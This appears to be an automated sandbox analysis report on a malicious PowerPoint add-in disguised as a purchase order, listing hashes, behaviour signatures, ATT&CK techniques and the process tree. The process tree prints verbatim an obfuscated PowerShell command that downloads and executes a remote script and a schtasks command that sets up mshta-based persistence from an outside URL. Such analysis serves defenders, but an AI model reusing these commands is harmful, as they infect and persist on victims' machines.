Analysis

  • max time kernel
    43s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2022 08:30

General

  • Target

    Purchase Order_3_812937_pdf.ppam

  • Size

    42KB

  • MD5

    38fdfc043596f30da30ffd84a5e8bc3f

  • SHA1

    a0e0c82a7614a2528b84b2d42153f4b52cbe2302

  • SHA256

    14b25b8d5c181fc6aeb59ad3c7170575201070a52c5428ca6c6a57fca295595c

  • SHA512

    139166ad594fcab5ad8be8526eb3d006d0c4a5480e924a86ceb291f2cedfbb3ee962966632fc6d8a23bafb939077158313c0300fb47d2e5b7f200f20518f27b1

  • SSDEEP

    768:JJ/c/lsTsK/n/Okf6R9/i/LIlfKEe89Vva6PdYI4+zMZvJA0FHwZH+T6gXJ1gxPZ:Pkt09fmj7ajsurtPgxP6ZD1/K8Nytsdk

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops startup file 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Purchase Order_3_812937_pdf.ppam"
    1⤵
    • Drops startup file
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1492
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:276
      • C:\Windows\SysWOW64\wscript.exe
        wscript.exe //b //e:jscript C:\\Users\\Public\\sys.ini
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:320
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP B -C (I'w'r('https://www.mediafire.com/file/8r7icojiklwsrsj/3.txt/file') -useB) | .('{#}{_}'.replace('_','0').replace('#','1')-f'^#','>').replace('>','I').replace('^','E').replace('#','X') | ping 127.0.0.1
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:684
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 100 /tn MicrosoftUpdater /F /tr """Mshta""""""http://www.3kjkfgjfkg.blogspot.com/atom.xml"""
          3⤵
          • Creates scheduled task(s)
          PID:756

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Public\sys.ini
      Filesize

      2KB

      MD5

      b9cd455488d6fc8b7bcd19a5511cdda9

      SHA1

      e7845dc2407ebb1c0979f5b9110ed1b574f1fe6a

      SHA256

      0cf557395affed72ba56aa83a44facad9deb24b0f2ebeb70438e9938a0ce3dc3

      SHA512

      5f6c6215a17844fd46c75633d20c83ef9331deff477328780249578bfbfb92f3f9a9d68ac6365902b25aaf5eb18cecc7362ea04e7aceb82e5cb8df5b8286b7ae

    • memory/276-57-0x0000000000000000-mapping.dmp
    • memory/276-59-0x000007FEFC5A1000-0x000007FEFC5A3000-memory.dmp
      Filesize

      8KB

    • memory/320-63-0x0000000000000000-mapping.dmp
    • memory/684-72-0x000000006B790000-0x000000006BD3B000-memory.dmp
      Filesize

      5.7MB

    • memory/684-70-0x000000006B790000-0x000000006BD3B000-memory.dmp
      Filesize

      5.7MB

    • memory/684-66-0x0000000000000000-mapping.dmp
    • memory/756-71-0x0000000000000000-mapping.dmp
    • memory/1492-62-0x00000000005DE000-0x00000000005EE000-memory.dmp
      Filesize

      64KB

    • memory/1492-54-0x0000000074B61000-0x0000000074B65000-memory.dmp
      Filesize

      16KB

    • memory/1492-61-0x00000000005DE000-0x00000000005EE000-memory.dmp
      Filesize

      64KB

    • memory/1492-60-0x0000000072C8D000-0x0000000072C98000-memory.dmp
      Filesize

      44KB

    • memory/1492-68-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1492-69-0x0000000072C8D000-0x0000000072C98000-memory.dmp
      Filesize

      44KB

    • memory/1492-58-0x0000000076BA1000-0x0000000076BA3000-memory.dmp
      Filesize

      8KB

    • memory/1492-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1492-55-0x0000000071CA1000-0x0000000071CA3000-memory.dmp
      Filesize

      8KB